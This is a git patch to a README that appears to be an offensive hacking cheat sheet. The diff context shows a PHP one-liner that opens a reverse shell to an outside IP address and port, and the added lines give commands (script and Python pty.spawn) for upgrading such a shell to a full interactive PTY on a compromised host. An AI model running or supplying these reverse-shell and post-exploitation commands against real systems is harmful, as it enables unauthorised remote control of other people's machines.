From c443400ca33f1947a704a590c7ad9e59fad782ea Mon Sep 17 00:00:00 2001 From: rootTHC <57636391+rootTHC@users.noreply.github.com> Date: Sat, 25 Jan 2020 14:17:11 +0000 Subject: [PATCH] Update README.md PTY... --- README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/README.md b/README.md index 29baef4..b9ec9de 100644 --- a/README.md +++ b/README.md @@ -374,6 +374,12 @@ php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");' Any of the above reverse shells are limited. For example *sudo bash* or *top* will not work. To make these work we have to upgrate the shell to a real PTY shell: +``` +$ script -qc /bin/bash /dev/null # Linux +$ script -q /dev/null /bin/bash # BSD +``` + +Or: ``` # Python $ python -c 'import pty; pty.spawn("/bin/bash")'